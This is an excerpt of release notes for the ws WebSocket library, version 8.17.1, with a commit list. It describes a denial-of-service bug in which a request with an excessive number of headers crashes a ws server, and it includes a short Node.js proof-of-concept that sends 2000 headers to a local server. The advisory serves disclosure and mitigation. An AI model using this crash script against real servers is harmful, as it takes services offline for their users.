Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

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